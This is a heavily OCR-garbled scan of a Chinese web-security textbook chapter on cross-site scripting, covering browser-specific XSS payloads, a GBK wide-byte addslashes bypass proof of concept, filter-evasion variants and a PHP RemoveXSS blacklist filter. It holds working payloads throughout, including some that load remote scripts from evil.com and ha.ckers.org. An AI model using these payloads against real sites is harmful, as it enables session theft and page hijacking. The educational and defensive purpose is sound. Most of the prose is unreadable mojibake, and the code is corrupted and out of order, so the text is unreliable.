6 « @ XK ¢ ) hitpy/127.0.0.1mestphp

B http://127.0.0. 1/test. php — Vindows Internet Exp | httpy//127.0.0.1/test.php
¥HE WEE HFEY ®RE IAD EBho <!DOCTYPE htmi=
B = . R | 3 <html>
Qst- O X @ wm Jem )@ s
T @) http /F127.0.0. L/ test. php </head>
<body>
test <hl=test</hl=>
</body>
</html=>

AET7-49 JENBERLER Al 7-50 Firefox fUMEREL R

® {i Chrome " AT 45 R Wk 7-51 fror.

L =R B TR g 1, BRATATLLE SR, 76 IE RAIFHEE P, T content-type 4 text/plain
f) HTTP Wik, JIR2801RLLL texvhtml (K17 KGN N HTML BUHT. AR as,
Firefox F1 Chrome W BA%E S A (1) J7 208 H @R k.

ER T IE WA MBS, A4 FH— e A MPATRR. B — ek, WA
LA F ARG

<html>
<body>
<script>alert ('XS5');</script>
</body>
</html>

FESCRAT R BE P g, W test.jpg, #RJG AT IE il http://127.0.0.1/test.jpg U 6] 1% H . Bbnt,
MR AR BAT T, i 7-52 FoR.
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STt W TEORMX A2 ) 2 F, AT ANNAT R 2 A B B AT AL 1%, 75 W2 AT Il SE BRI N R ST . BRI Wbkl 134
A, WAETE A PRI RIEBORIEF AT AR R EUR IO T RCR 2 4b, #oE S A, LI DU & IERR -34S, SCRFE N IERR.
DA,

e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
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#7& FAXSSEE -

i e

Windows Internet Explocer.

Ont- O X @ o remk L@ (-

!

OIZ'I'.O.U.Uustphp
€« C ©127.0.0.171est. ply

FEIE D @Y neap: #/127.0.0 1/test. ipe

CIDOCTYPE html>
<html>

<head>

</ head>

<body>

<hlrtest /hl>
<body>

</htal>

Nicrosoft Internet Explorer [x

Ao®E 7-51 Chrome BIRBL R aE7-52 #RE XSS

{6 I FoAR 3 %028, W Firefox F1 Chrome W AT % JPG XA MNEE, Wk 7-53 Fras.

T X m hitpr/r127.0.0.1/test jpg
testjpg UPEG BF)
http://127.0.0.1/test. jpg

() 127.0.0. 1/vest jpg
€« C ©127.0.0.1

B 7-53 EHME XSS

793 NEB/ERE XSS

WA RS TSR L 2%, AUA4E T HTML. CSS. JavaScript Z5&F N 851498, iE foif
FIN ActiveX #51F. Flash #-54M A M. Kibth 3BT 4 BFp AR AE () XSS Bt k=4 .

=] AT T A A, WTBAREE, 330 XSS FIREARE, WCHE 8, A RETE. Wb
. MRS uiE St DS EmIS. RS, o, S AREERZERA XSS HER
KHEEM W, W MHTML XSS fl UTF-7 BOM XSS, ‘ENfTHMA A S ki Ewis, HEE IE
W BEAE % ; 1 Data URIs XSS %5 M E7E % FF Data URIs J5 5 (150 W0 388 44T

I T Ak 4 T Al O 8% 25 S BT B XSS,

XSS f8id:

| <video poster=javascript:alert(1)//

SRR P 2
Opera 10.5. Opera 10.5 fLVF{liH] poster i ¥ & 4047 javascript: URIs, S8/ XSS,
XSS L5
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7.9 m&##&
I <x '="foo"><x foo='><img src=x onerror=alert(1l)//'>
XA~ XSS AT — A 85 SR8 — AN m k.
SCHF D) 4% -
Internet Explorer & 51, #4745 R 7-54 P
XSS Ahd:

I <style><img src="</style><img src=x onerror=alert(1l)//">

% XSS FIH] 7 A S ARR B AR CIR AL, R GRBET BB AR .

SCHF A3 28«

Internet Explorer %%, opera 8.x. Opera 9.x. Opera 10.x, Opera Mobile. Firefox 1.x . Firefox
2.x. Firefox 3.x. Chrome 3.0, Chrome 4.0. Chrome 5.0. Chrome 6.0. Safari 3.0. Safari 4.0.

x 2] Jnm cemx (@ -0

HAEL D) (@) C\Documents and Settings\Administrator\Mifi\test htnl

AE 7-54 IE & XSS

XSS fLi5:

<p style="xss:ex&#00;pression(alert(/xss/)">
<style>*{x:eXpression(write(l))}</style>

CSS BHAE T LMEAZ T (\0), SRJ5izH expression Jj & 4T JavaScript f485.

B AT 20 unicode F-FFLE CSS h#if expression #iki, 7E IE 6 HA] I AT .
S B AR

Internet Explorer £ %1

XSS 1L

<EMBED SRC="data:image/svg+xml;base64, PHN2ZyB4bWxuczpzdmc9ImhOdH A6Ly93d3cudzMub3JnLz
IwMDAvc3ZnIiB4bWxucz0iaHROcDovL3d3dy>3MySvemey MiAwWMC9zdmciIHhtbG5z0OnhsaW5rPSJodHRw
0iBvd3d3LnczLmOyZy8x0Tk5L3hs aWSrIiB22ZXJzaWOuPSIXLjAiTHgOIjAiTHk9IjALi IHApZHROPSIXOTQi
IGhlaWdodDOiMjAw IiBpZD0ieHNzIj48c2NyaXBOIHRS5cGUSINR1eHQVZWNEYXNjcmlwdCI+YWx1lcnQoIlh
TUyIpOzwvc2NyaXBOPjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

SERFRI A Firefox, $AATET R 7-55 Bz
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ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
B BHIRAN A R ATHOUE AT G 8, FATTH F AR A [ A O RBARTEINSC 2 3k | SR 2] s JoAe S s ST 8 A
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< @ X o ) flewscsDocuments and Settings/adminiztrate 77 - M

‘s file:f//€/ Docum...or/ EHltesthtml |~

[JavaScript HHFERF]

a[E 7-55 FireFox filR & XSS

XSS fRhd:

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;baseéd, PHNjcmlwdD5hbGVydCgn
WENTJykB8L3NjcmlwdD4K">

% XSS [ #£F ] Data URI Scheme $447 #5314 .
SCHF 3 2% -

Firefox. Opera 09.02.

XSS

<script><!--
var x = "xssed</script x\><script x\>alert (/XSS8/);:;//";:
f/-—-></script>

Chrome 5B IE-—297 5, Wik</script x\> B IE N</script>. 1 T % H 2 FAr 2 Bl
HKABIE, HAHIE HTML BRI 20 mtE oL, il F2 XSS, Wk 7-56 Fros.

%’ test, himl

€« X (0 file:///C:/Documents%20and%20Settings/Admnini

Javascript R

AE 7-56 Chrome & XSS
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B, WAFAEBAT AR RIF ORI A R P EURIL I AR Z AL, MO &A1, B LRIy DAL EE . IS ERRAIRE, SR A TERR
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
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710 SFHERHEEE

XSS 1%

I <META HTTP-EQUIV="Link" Content="<http://xxx/xss.css>; REL=stylesheet">

i% XSS Fr% 5] o €SS FERF LM, % CAFAE ] JavaScript 105,
SR (0] 28 -

Opera 8.0.

XSS 853

| <!--<img src="--><img src=x onerror=alert(l)//">

XA XSS FH T 30 WA 8 B HTML 71 B A7AE /) In] @K 14T JavaScript.

HFR D A

Internet Explorer & %1, Opera 8.x. Opera 9.x. Opera 10.x. Opera mobile. Firefox 1.x. Firefox 2.x.
Firefox 3.x. Chrome 3.0. Chrome 4.0. Chrome 5.0, Chrome 6.0. Safari 3.0. Safari 4.0

Sebr b, iS40 XSS faE R AR FUR VKL — 1 o B T3 W 8 AP 2 A A F, & A I HTML
CSS. JavaScript 5| {7 7EH F XKW ER, MifhAR XSS 7t EEHAY, XERAH
PRIV T .

£ KT XSS i i 150 BLZ % Rsnake ff) XSS Cheat Sheet, FKHUHLAE J) http://ha.ckers.org/

xss.html.

EL: T

BT JLEERT ) PHP TR b &l haii D ? %00 i BLLF- B0 4% T B3 FH XU 5 b 1)
PHP Fif¥ .

ARG B T2 N E SQL EM B 2, MR, FIFES SRS AT i .

BAVEF— FH AT GRS

B4 PHP XU, A LUT 384 0AY

<?php

header ("Content-Type:text/html;Charset=gb2312");
echo §_GET["str"]: //gpc=on

echo "<br/>";

echo addslashes($ GET["str"]); //addslashes ()
>

iy ie] LA F Mk«
| http://127.0.0.1/test.php?str=xss’

sE RN 7-57 Fias .
PR ) LA Rk

{ http://127.0.0.1/test.php?str=xss%d5"'

£E R 7-58 k.
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E7HE FEAXSS R

Hidt (o) t]http:{!l?f.ﬂ.lll!test.phy‘?str:xssf bk #_’]h(tp!ﬂl??.ﬂ._ﬂ. lfu:(._pl?p?:trf:l"ﬁ_ﬁ’
xss\ xssih ,
ggs\\\' KSSﬁ\\

aE7-57 EA3Z|E Al 7-58 FAGEFHERS

i 7-57 P, 53R xss'it, PHP K% SNV, 2 addslashes()ef B0 28 /5 R AR . 1 R4 22
xss%dS', ET%dS'EIAER T “OE'7, PR addslashes()pR HUAE PR SRR “ RN 7.

At AL BB FRBLE ? 1K T PHP K HDAUT 35 05 3 20 .

% PHP B [ GBK %7 W ARRAMNMK, \OMILA Sc, %dSW] 5 M%d5%27, ¥ X
%d5%5c, 8 fL G H IS NET “#” (GBK %ifi5h D55C), X B INARERIH, B%%d5'GF;
AR R, WA IR SRS TR e — AN E R

PR FEOCR M PHP BF HBLEANRT,  [RIFF 20k —E i XSS KU .

R P 3 BN EALLT JavaScript b F3CH, MiIRERF <>  \EHURFRFEAT T i u8-

<?php
header ("Content-Type:text/html;Charset=gb2312") ;
ii=$_GET ["a"];

<script>x='<?php echo $%a;?>';y='[user_input]';:
//document .write(x);

</script>
M2, 5 AT LR AR AP AR SE BN B T, 8l 48 0 0 ) 7 N 3630 4T JavaScript 254855, POC
mE:

I http://127.0.0.1/test.php?a=xss5%d5';alert (0)//
PAT BRI 7-59 Fros.
R, $a AEHANE, WIREE xss';alert(0)/I 4 $a:

| http://127.0.0.1/test.php?a=xss';alert(0}//

SR [ RS G

<script>x='xss\';alert{U)//':y='[user_input]':
</script>

515 #i% S, JavaScript [12RICIEIAT, WIRIESa MMEEMCY xss%dS alert(0)/)q, #E A LA
HNGAT IO 515, RIEER IS T10EA), Heh | AR JavaScript A085 .
SR [H ) HTML AR F .

<script>x="xss\';alert(0)//';y='[user_input]';
</script>

UL s W P 7-60 B
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T TR RORMAEE S 2 Y, AR AR 2 A P B AT AR 1, 75 R AT 1) SE BRI R AT RIS Bkl SR T 2L
A, WIAEAE B AR R BRI bR R S BURIL R TRCR 2 AL, W& 550, WG RT-F LUARER . 1B IERR 158, SCRFE N IER.
JL 2 il

e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

710 FHERBRS

Qre- ) x 2 ,Jomx - emx @

= 4 =

rE ik ﬂ http: ff127.0. 0. 1/test. phpPa=xsskdS’ ; alert (0)//

B @) hep: £/127.0.0. 1/ tast. phpPamxsshds’ s alert (01//

Nicrosoft Intermet Explorer m B test[1] - o3&

THE RED BAQ TEW EBHO

A 0 <br/y

<{script>x="xssigt’ ;alert(lsﬂ *sy="[user_input]’;
J/document .write(x);
</script>
aE 7-59 #Hf7 JavaScript f£4% aE 7-60 3E[EIA) HTML ££48
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458 0 it XSS Xiki

O, A, Amtmamc, s A Aac, L.

JE R Z B NHB T #% XSS (Cross-Site Scripting) (IR, (B EHNERT 1 XSS Bii AR .
N XSS MRMERE T, FHFRXREEE, FUAGELLR R IR XSS By, Xt
#5 XSS I IR B A ok T BRI PR A

I R A L S (1 S R A T

B4k, Web JW 88 A G BT EAN LA . Wb S UR A TOllid URL SRR 7R Web M 1T
(b TR, o0 A i A 1 2 A (R B 8 P P R B R B, AT AR A A
fE LRI . XA S 0 P9 2 AT 6] P A A (0 PR TAE I, el REREEAE RS, ek
S BHOARACHS, SN BUH A HENL LR, EELS SN SRR . AT,
Web ] U5 8860, & T ##Hr AT JavaScript S BIACTE 35 (18 17, X 261l 5 nl HER QAR & Fh £ @ 1 Th e,
P AS S AT, A2 b R a A RS i B A R

W, KB Web FF& N A ASZIE IEMA 2R, Kb EA IR <4 mmy, SE
ki BER 9 3 () e AR, TR NSRS Ao it

TEARTEH, BRATSAHE L5 WP XSS Bl Jrik, ARG XSS Filter. i A ik 384
Hhid . 1L R RF ) B 4 R A TR S . S - S W AR A AR e HE B XSS, W Firefox [¥) NoScript
P, AR R VSRS AR MM 3G T JavaSeript %5 TE 8 PN FE[F) XSS Filter %} Sz 41 7% XSS Hitith

EVEAT LR IF B 7. BRIkZ 4h, {1 HTTP-Only [¥) Cookie [7] £ fifsi 1) {4 e ak £ (1 1 1

N, AFAELSEKT CSRF il DOM XSS Hiti (M it Jrid.

m {i /3 XSS Filter

B, XSS BBt EEMNE P imAo, SR HATRSZ FIIR 2 BRG], KRG A R .

XSS — B AIA], Bk & 28X Led i 2 2 T A, AECRA 7 BOFA R ) 8_E K BRI 1 M 251
AR WRAMER XSS Failil, 435 _E I HI Bl # 2 A BB R TRE.

25 1 Firh, RATTG 232 Pid XSS Filter M. Bi44 83, XSS Filter (4E I EL3EM P (%%
S RASHATHER R, MTTEFIBGE XSS B fACR .

XSS Filter {F 4 BiflEs s Bt E R TF Bz —, 2L ZNAERE Web REZH, GIERS
(V2 N A, Bln IE 8 sl %id%, @it hnA XSS Filter ZyfE AT LATT BB F6 AT 4EFF ABL () XSS
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ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

Witi.
W 8-1 frzs, BATATLAE F] IE 8 £4 78588 i B A () 3 R .

Lsh SE&’ TJ ' L-} [?il @ - E: @ E' E @

el i 'l hrtp,,‘;'www googi ¥, E" Internet Explarer 8. ﬁ m—s

2 internet Explorer EXILTUIAR 7S, LUSMIBLMSNES, St SREES..
¢ EEARIEIW) I

F g Fﬂﬂﬁﬂ)

a[E 8-1 IEBHIXSS Filter

fHAE, XSS AJi LRt Web N H] AR %5 (R, DDA 25 7 i 1K) SR 49 45 i A 10, A% ke 1) 80
PIRR A LE Web R FIFE P IARRS 1 B XSS % 4 .

b Py By s B A Bk 1 07 X AEAT #Fh . Input Filtering 11 Output Filtering, B4 51 76 5 A\ b
(Input) Fl¥ ¥ (Output) HATILHE.

W2, Ry 2 Bt iy N 0 A R 3 A7 L B A 5 2

ML A R, S A i O A R R B RN, kR L, ez AR
T o S NI DB BT AT B AR 20485k XSS Filter &4hFE, i\ %4 L# G A GFENBIRE S,
i L0 RN H T 5 Ui 8, sz, R —BERABRE EEARRE S, ERAX
Pl o B A e AR AR LB, B4 X PR SUAEB JaRE AR XSS R &7 BRI 2 7.

8.1.1 WALLIE ,
“KIEANEARE L N7 A2 BT R 3R U, TR P A — et ag. otbag. PRtk
BATVERRNE, Bl A Rl -2 E ¥ M AR TR, B, RAVFE. ¥nsCREsEy

KRR AE AT % JavaScript [N 2, R4S A% a0 S ¥ o p el i U uxse A, RfifEh N AR

A E] T o0 L, M4 2 H Al R U e i D0 i (B S IE AT X B A
FrEA, 8Py AR ) B iy, KB BN AR 7 =X, 25 s BT ig.

Biltn, 3 <>e43# javascript TERUE ST R UEAT I EE, 3T RILAH PN B S W BEFRFE,

WG ICHEAT e e kAR H] .

XA L g, RTINS T MARIEM SR E.

(1) FIAKUE.

AT e 0, A B0 E S 2 ) P 3R A A BT ARG AL, (UEZR e K E NN, RS
kg U N AHRAS, B A e ok L A Ak AT 4] B4

KEBIr) Web [ HIFE 22 KFE 2 P iR 50 FH 2 3R AC 45 IR 45 25 (R BdE ,  LAMEmT 38 B i) )

P, S bt M s d ok Ml . fildn, 4dF] JavaScript £

BRI, UM IE ) (A BRI HTML &0 HiEe,

FBOAT B AL % ] URL S 804606 3 2% .
B 8-2 B AN ILEIOR N, R P i s@8-2 MAZE
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Eo® DiEIXSS Kt

7R

Her, WS EAmE R TR, T HERERE LR,

N R 7 3 52 B0 2 T B X 00 iE , A AR S ELBOER AR AL, AETE— e EOREH
i) At .

U (R AT S SR 5 FF A, W LUE A JavaScript BIA{EZ P in il & . LS T

<form id= "test">
//BIESH.
<input type= "text" id= "Tel"/>
<input type= "button" value= "MiE" onclick="checkTel{)" />
</form>
<script type="text/javascript">
function checkTel () {
var re = /"020-\d{(8}5/

if(re.test (document.getElementById("Tel").value)) {

alert ("HBIESHELTH") ;
lelse(
alert ("HiRMBIESHE") ;
}

1
</script>

iX Bt JavaScript 1G9 a] B35 H S N B HLE S ISR B AP LL 020- Tk, JETIN 8 ¥ RIKE
Ko H[IRATHA 020-12345678, 1A Ja &9 H “ M55 i 30 IE# 7 FIRAHE; 4% 020-1234567X
HARAE G, S PRI XHEE, B RIESHER RS CFER X, Wk 8-3 A 8-4 Fix.

W00 @70 \Documents and Settings\Adeinistrator\S@\test html

020- 12345678

Nicrosoft Internet Ezplorer rﬁu

AE8-3 BAERMBIESHEL

A1 (€70 \Documents and Settings\Administrator\SIE\test, hinl

020-1234567% i

Nicrosoft Internet Explorer &

AE B-4 WMABERMEAESHER
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8.1 {¥F3 XSS Filter

BN AE AR SE PRt R, R S L R AR A i 3 -

o My ANRE A EAVEM T

® NI R A e K R PR

o AR NECE, BUFREEREMEH;

o AT AR ERAOKAER, W E-mail #ihh, 1P Hhhk5F.

it F U B, . Ui, BRI & AR T S SR R

X T EE AL, UUAER S it A A AT 30U A R A1, k% P w4l eE AR
FUIAARTERR S S Bl A, F P RE98 Se R 2/ o A B2 A Hcds, Bl i Temper
Data. Firebug 2 T H, £85I & A AR (94— HTTP/HTTPS il KAz, xf 3Lt
TR A, MiiGeid % v PRS0 K5 B BLER AT B R 55 2% .

DR, DA 25 i A S B (1 O 42 4 T v R R 55 88 o S (R B 1

(2) HEEWE.

B T AE R v B0 B ) AR, N RE b I R AR R ISR LA F A, BT
LR 7 -

[ < > ' "™ & # javascript expression

{EUE, A 38 LA ERUR T R m A ) .
AT RESS SR OL P 2 B A E O Web R FIFEFF (1224, % Web S F £ Y 2204 T i S8R 4w %

8.1.2 4wy

KZ X Web N FHFEFFERAEAE il AR SR P A 15 B 56 52 S M it £ o i,
XFRE S @~ XSS, W 8-5 fras.

MMBE S5 Eid)

TR FEn 12w

“ASS” WRER

Sorry! & KAEMHH X AR,

sl #IE :  <scraptralert (0)</script> |1%

FHTE: FEET > e

AE8-5 HERFER
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gow m@wxssxa

ii# SME SRS EHR N, MARFARAIMAANERGE, Dl ikl
HARLR . XA R B RO IE R T K, B A v DO R e — A ROl At . W
7 FREAN SQL i 5 (¥ S 2 A — 3.

Rk, 472 N ERFH 2] Web IR,  [F] SCASH & XA 741 # o 75 4E XSS 4
WFERF (<> &' "), A T A AR S RNEREE, AT LLMEHI4R1 (HTMLEncode) it
IThEFE,

HTML Zit54Epy 1k XSS Bk LR BIRAMEN, & EERAX N HTML & &5
T, IXPEAROT R ORI B AR & A AL FE W] REAF E DR AT, IS 4E HTML ORI A BT 4R 45 4

L DL ) A R Rl ) R - B HTML S 65 & 8-1 fr .
= 8-1 HTML 45
2 = LEEF LikiwmsS
< &lt; &H60;
> &agt; &H62;
& &amp; &#H38;
&quot; &H34;

BL E 3028 ()2 1] fiE e & XSS IBURFRF, & T —24e k0 HTML 785, <, >, &~
S XX EEFRF LR REE SR, REVEAT BB {E HTML 7EA R XSS Hifi.

PRAEVF 2R E S AHE AR (R EE, o] LAEBOFE P T A8 1% HTML i th W & TS,
11 ASP ) Server HTMLEncode()eé . ASP.NET [f] Server.HtmlEncode() P& 1 5F . PHP 345 156 FE b $
htmlspecialchars(), 1% eR %] LU HTML FFRE 7 £5 5 AL BCE 14 0L B s () 7P 0 S5 A g i .

htmlspecialchars()sA % T A LA F TR HTML $59k 7 57 F il 7 sE AR R 5«

® < Hipk &l

® > iRl &gt

® & ¥R &amp;

® “ MY &quot;

e ‘ HERL &#39.

T SRS N e R Rl BE RS BT BV, IR A 0 R B AT e, i ik R]
REE R A T 45 B R

e, BAVKSE— FMAL M HILIE (WS & B0 .

AL E

16 B AT HE B FE 2 W4 2k 0 P AP BEATHE S, i (@i, I(E T LT SQL ¥ A5 Hofth i
TR B . TS SR VR AL IR 2 BT © A7 E T b 1 AR .

71 HCH 4 2 AT S0 T MU AT TR S, g — MR A, BEA AR R B ) e
o G RUR AU AN Y B AT A gE, RIS R BN T A
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8.1 %/ XSS Fiter

SRR ELH AT LU 5 SRt & i i 8 5 X BRI SR PR 5K, B R 5548 Ui
AT BB B, LLACTE i Y S0 X B 285 A AT i 4 S 45O (PR N I BE R4 HH S B0 E B
ROLHRZBTE, RIS F A B b R IEAFEBR K, 75— P s AR RERSTEAR AR LR IE
i Bt, b 8-6 Fis.

L}
\! = /f
A ] = I
W3 2 Q‘f’ ..-’.-’ﬂ
We S J
\ /)
-
\ g /
\ /
I\ .L.f{ _Web server
\

|L XSS fiter |

XSS escape 1

| Web page

aE8-6 TEMHERER

813 RBBENBEH

AVE R B S o a8, ABREN B G BT /a2 L g,

M (Blacklist) fRL#E, BRERFESHAREILMAN RWEH, WXF<F>XHAKET
TFRATR R, — HARMIRAZE R PAE<M>FRF, ke h XSS Bk, RExXHGHTHE,. g,
U B A R

1M1 4% %830 (Whitelist) AURLa8IEMERLZ PAf S, ARSI H A ALVFRRTS, 15 5 ] 8
ZHIMR .

SRR B AR AR X, RAITH. 25K 5E, ¥R javascript TR, Bl &wa
BLES H B R SEH . (AT 8 XA javaseript (5.

KNSR
| <img src=JaVaScRiPt:alert('XSS')>

ffiA [Tab]) #:

I <img src="jav ascript:alert ("XS5');">

LGRS
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ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
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WAk Bmssm

<img src="jav
ascri
pt:alert ('Xss');">

EF AR -

| <img src="java/*xxxx%81*/script:alert(‘'Xss’);" >

AR R

I <img src="java/*/*javascript*/script/*javascript*/*/script:alert(‘XS85");" >

1 &t /N B b 74 -

! <img src="java#x09;ascript:alert('Xss');">

A4 FH &1 3L 1) i B 7 4F -

I <img src="jav&#97;script:alert('XS5');">

{6 F &t HE IS 4T CInA ISR 0000):

i <img src="3j&#00097;vascript:alert("X8s');">

FETF AN H -

g <img src=" javascript:alert('XsSs');">

S5 XSS R I/ RT3 25 500 A7 R B, Tk 11 46 o 4 3 1 B 39 T BAAT RS 455 XSS
Exploit (B, SEid i kiR I AR ST, BiAHED . DRSCARSE (ORI S 4 AT i 38, JL TR
RATRER . FTol, AUEA S A E &, o5 Btus b %R A 4 R i

5, RADRBSX BB R MRS, Ik 8-2 Bk,

3 8-2 [CE L R
2zp SR ]
s B iLDE ] i S T B DUAAVFIATHF A U i
. RIAE I E WA 2 EEh St i <img sre="http:/rocooxx">8 30, JLR R U — 4 E
e <script>xxx</script>5H HHH % A A
i Al FEVF TFICRE 4 2k HTML bR ] SV i AR U HTML $R%6
e A i R el 38 A 1 ] i Byt ek ) SOUERR T T M R R, B AT koD

Bt Rl W, AR ANHT 8, WORIU™E R (4 PR, FF/Eg SR bR R B, A
55 FR 40 1) (1t A8 1 £ ol e B R 3
sy, PREATHCRABZ BT, R A4 0 e?

| R SR

BUEA K, KB K Web TFAE 8 T fiF XSS FHREE AR, A KA XSS Bl i ¥k
I o
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ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
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8.2 il REE

N, BATE L WA XSS F AR T 1 ] 5 i e A 3 e SR

wE AR, A A e SRR A A AR B R, B C AN XSS B REAT R,
T JE 0] 3 B Bl i XSS Brahi i K 1 .

i 47 1 JE R A <script FUIAR L AL, JHid L AR5 Seid -

I <scr<scriptipt src=http://ha.ckers.org/xss.js></script>

s, B2ERk:

I <script src=http://ha.ckers.org/xss.js></script>

IXFRAEAT M) XSS Briki 2 FTLARE s th, JEFIAR 2 XSS Kl SRm A4 1% 1 208 0 — e
o MdFsE b, BIEEC EVEA MRS LA, B AR 228 A0l e AT REAT AR, T
XSS Bt k4.

BrEL, JFREBEREH B Aol fEfh A XSS g ol.

U SR FRE Y SR VF ELEAR AR S, S5 18 T i (R A 150 -

<<script>alert ("X58")://</script>>

<script/xss src="http://www.evil.com/xss.js"></script>
<script/src="http://www.evil.com/xss.js"></script>
<script src=http://www.evil.com/xss.js>

<script src=//www.evil.com/xss.js>

PR3 VT dniR CSS sl HI 4R CSS, ZEHEBLLFEA.:
<style>@import’http://www.evil.com/xss.css’ ;</style>

<link rel="stylesheet” href=http://www.evil.com/xss.css>
<¥SS STYLE="xss:expression{alert('Xss'))">
<XS85 STYLE="behavior: url (xss.htc);">
<DIV STYLE="background-image: url (javascript:alert('X8s"'))">
<DIV STYLE="list-style-image: url("javascript:alert('XS5")">
<DIV style="-moz-binding:url (http://xxx.com/mozxss.xml§xss)">

P28 b i L AR ik A £ SR P A

| onload. onerror. onclick. onmouseover. onmousemove. onmouseout. onscroll
o AP 5 iy v 5 B B () B A

[ Jjavascript. vbscript. expression

PR R PEE A 5 S8 XSS &R sE K.
AL | .

! <img src="javascript:alert(‘xss’)”>

DI EI R

§ <img src="javascript:alert(“xss”)’>

s HAHG] S

i <img src=javascript:alert(/xss/)>
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#8H [HM XSS K

RYEETLARE. NE, HalLRAS:

[ <img sre="JavaScRiPt:alert(‘xss’)”>

FAFI% . Tab, 2EHEELE HALSEBR T4

<img src="jav ascript:alert(‘xss')”>
<img src=
a

b
a
v

ascript:alert(*XSs’)">

LRI

| <img src="&#14 Javascript:alert(‘xss’)”>

CSS 19 Style ExUrb al LUF A S AHRNVRIEBE 75 /% 4/

<img style="back\ground:url (javascript:alert (*XSS’')};">

<img style="/+*XSS*/background:url (javascript:alert(‘*XS8")):">
<img style="width:expression(alert(‘Xss’))">

<img style="xss:expre/*XS55*/ssion({alert('Xss"))">

ML, 2 MIBA, W E xpression, ex p ression

<¥S5 STYLE="xss:exprEssion(alert('XsSs'))">
<div style="{ left:expression( alert('xss") ) }">

HAbas% /758, W htmlEncode 1 URLEncode Xt HTML #1 URL (1465

http://%77%877%77%2E%67865%2E%63%6F%6D
http://11121213956
http://0x42,0x000005.0x7.0x93

i1 String. FromCharCode “ F¥ 1) 3% & 100 -

g div{background:url (expression(String. fromCharCode (104,116,116)))}

FEVFHI P 5E X JavaScript e 8O CSS ATt 77, 85 MR S BUME I 7477, 4n.

5 eval, String.fromCharCode., execute

NI, BATIKE IR E— ATl L 38 XSS 1 BR 3

<?php
function RemoveXSS(S$val) {
$val = preg_replace('/({[\x00-\x08, \x0b-\x0c, \x0e-\x191}/', '', Sval);
$search = 'abcdefghijklmnopgrstuvwxyz';
S$search 'ABCDEFGHI JKLMNOPQRSTUVWXYZ' ;
$search '1234567890!R#5% &% () ";
§search .= '~ ";:24+/={}[]-_I\"\\";
for ($i = 0; $i < strlen($search); $i++) {
$val = preg replace('/(&#[xX]0{0,8}"'.dechex (ord($search[$i]))."';?)/1", Ssearch[51i],
Sval);
Sval = preg_replace('/(&#0{0,8}"'.ord($search[$i]).";2)/", S$search[$i], Sval);

}

242

PR TYRMAY B /7 NUPY//WWW. L /NUan.com  £R 25 ST Pt M ay AN ZH R /7 T8 4% NUPL//T.Q.ConVKUDas DIoY M )m QU: 4829993

https://www. l1nuxprobe.com




DT PTIEBORMX G 2 Z S AT ANAN R 2 A 8 AT A, A7 IS 24 FAT 1) SEBR BRI ARSI ST D2 SRR T 2L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .

g GEURAN AR R AT PSR £ AR E, TRATIH H AR A DB UM S kst | SR i Jo s i oe

B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

BT R A

82 IR

'layer', 'bgsound', 'title', 'base'):;

'onerror', ‘'onerrorupdate', ‘'onfilterchange', ‘'onfinish', ‘'onfocus',

'onload'", 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave',
'onmousecut', ‘'onmouseover', ‘onmouseup', ‘'onmousewheel', ‘'onmove',

'‘onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array merge($ral, $ra2);
Sfound = true;
while ($found == true) {
$val before = $val;
for (i = 0; $i < sizeof(Sra); Si++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); S$j++) {
if ($3 > 0)
$pattern
$pattern .
$pattern
$pattern .
Spattern

—_—

Y(r;
' (s#[xX]0{0,8]} ([9abl);)';
1

"1 (&#0{0,B}([9110113]):)";

Tyt

}
Spattern .= Sra([$i][$3]:
}
$pattern .= '/i';
Sreplacement = substr($ra[5i], 0, 2).'<x>'.substr($ra[$i], 2):
S5val = preg replace($pattern, $replacement, $val):
if ($val before == $val) {
S$found = false;
}
}
}
return $val;
}
>

XA XSS Filter Hile KB ™%, 5L HTML £k, @7 SEEREN.
B, Zid e eh BURAFEWT, JAALAT I T

S$atrl "xs3'test";
$str2 "xss&#39;test";
echo RemoveXSS(S$strl);
echo "<br>";

echo RemoveXSS($str2);

R 8-7 k.

'onmovestart’', 'onpaste’, '‘onpropertychange’', 'onreadystatechange',
'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete',
'onrowsinserted', 'onscroll’', 'onselect', 'onselectionchange’, 'onselectstart’,

Sral = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', "xml', 'blink',
'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset',

'ilayer',

$ra2 = Array('onabort’, ‘onactivate', 'onafterprint', 'onafterupdate’,
'onbeforeactivate', 'onbeforecopy', 'onbeforecut’', 'onbeforedeactivate’,
'onbeforeeditfocus', '‘onbeforepaste’', 'onbeforeprint’, 'onbeforeunload’,
